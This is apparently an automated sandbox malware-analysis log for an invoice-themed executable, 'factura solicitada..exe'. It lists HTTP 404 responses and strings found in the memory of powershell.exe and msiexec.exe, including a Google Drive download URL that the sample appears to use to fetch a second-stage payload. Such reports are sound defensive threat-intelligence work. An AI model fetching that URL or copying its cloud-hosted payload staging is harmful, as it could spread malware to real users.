Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iEw_7Z3IDyMR7haD5cxRekPtYK2RA2SEeMTcozabTTbGCDoXRNpIC_gwLINMTLxx1ZRContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:07 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce--JqcTGoM5OIF_eVCBAc-aw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iEMNN259EAFZTES3dJUxpN_Ac7dmPcVbBNLnIvlvk8aSs0la8gMdlYzugQp3-FB-YoEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:09 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-PDg2zKDRhyctCvNUj52jgA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iHGMXWo1ZaMvM8p_GRsc_0KpPuPVbjCKP2HxfIyUVBtC97R_AVWvpzhjEBv5MH4ciEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:11 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-uO-iMC5DV7RTUy_g5AC6gQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iHZeYC5Ccicpt6x17WMZo8-_kNqCT6HZ9vZYFkH-SRADpm3MmJ0ANb3VmZO__ZFdMpNContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:14 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-420oXq8yg0d-T6saq42tzA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iGUgrEfYgxkn32-GcVqkLFcKwScwt5NokYzD0qoV1nc-K92AtTk2Z47nodff2F2xWEHContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:16 GMTContent-Security-Policy: script-src 'nonce-7TPbqz3RYaaxRIhfjG9Zew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iHLNCEFWBUcQSIb815gxCFL4A8JrKj27nRfAkwfrhebsjtShulP7ThxiBLOo4L-aL9iContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:18 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-yC_w2dxPmvTCKdhYKjM9qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iGs-05LZY5DNvQtPU8HVU8mIogSpPYuOUhEiOu6lXWC-ZRuzxH12zJIPp8h19WltziaBgAqYikContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:21 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce--d_DvQPZFo84WR88hxqVQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iHonrKiBqPD2GsOagsPao0eb8hYzskgZCgD2xZ--tcPvrKjiZwCswdb_dp_BHyXY77ZContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:23 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-W1jofaxHPsOJntEp7xyH0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iES86XIfqQSUKFk9teD7SijM_TCDdcw_QfyX-WPsL37pDKvEaUIcgztyNqeVVDmvTcXXbyPGf0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:25 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-mmTxd7gq10AmVzAVFjG3Bw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AHMx-iEanm-qonvwIO_ySY0KE7dY4kbjtwEB5P0L0d8QIEXW57Nqn2pGIASa5GCbbTciHSlLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Wed, 19 Feb 2025 19:38:28 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-G6pfMYicfGZXPHtl30fYYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: factura solicitada..exe, factura solicitada..exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: factura solicitada..exe, factura solicitada..exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.1667072228.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1667072228.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB_q
Source: powershell.exe, 00000002.00000002.1667072228.0000000004DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2278823836.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2094078812.0000000006E41000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1757024491.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790880643.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1670136882.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dhttps://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=d
Source: msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: msiexec.exe, 00000005.00000002.2553035309.0000000006D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download
Source: msiexec.exe, 00000005.00000002.2553035309.0000000006D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=downloadiderBp
Source: msiexec.exe, 00000005.00000003.2055995606.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2067734981.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2044572702.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1779649291.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1790921504.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031960140.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1768849257.0000000006E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/HM
Source: msiexec.exe, 00000005.00000003.1974923370.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1952442398.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963121004.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/MW
Source: msiexec.exe, 00000005.00000003.1790921504.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1768849257.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963121004.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/i
Source: msiexec.exe, 00000005.00000003.2094108178.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/pM
Source: msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963121004.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/rcontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=do
Source: msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM
Source: msiexec.exe, 00000005.00000002.2553035309.0000000006D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM(J
Source: msiexec.exe, 00000005.00000002.2553035309.0000000006D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMLI
Source: msiexec.exe, 00000005.00000003.1917290712.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1939947934.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1906560488.0000000006DFB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1952442398.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963121004.0000000006E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMmK
Source: msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2301970581.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMmT
Source: msiexec.exe, 00000005.00000003.2031960140.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1929030211.0000000006DFF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1963121004.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMt
Source: msiexec.exe, 00000005.00000003.1974923370.0000000006E00000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2055995606.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2020965430.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2082381319.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2067734981.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2044572702.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2301970581.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2094108178.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2031960140.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.1986018182.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMu7f3tLwtoZ52sqM
Source: msiexec.exe, 00000005.00000003.2082381319.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2067734981.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000002.2553035309.0000000006DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMu7f3tLwtoZ52sqM4
Source: msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2301970581.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMu7f3tLwtoZ52sqMmK
Source: msiexec.exe, 00000005.00000003.2381577044.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2313946832.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2301970581.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2463480327.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000005.00000003.2370910005.0000000006DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqMu7f3tLwtoZ52sqMy
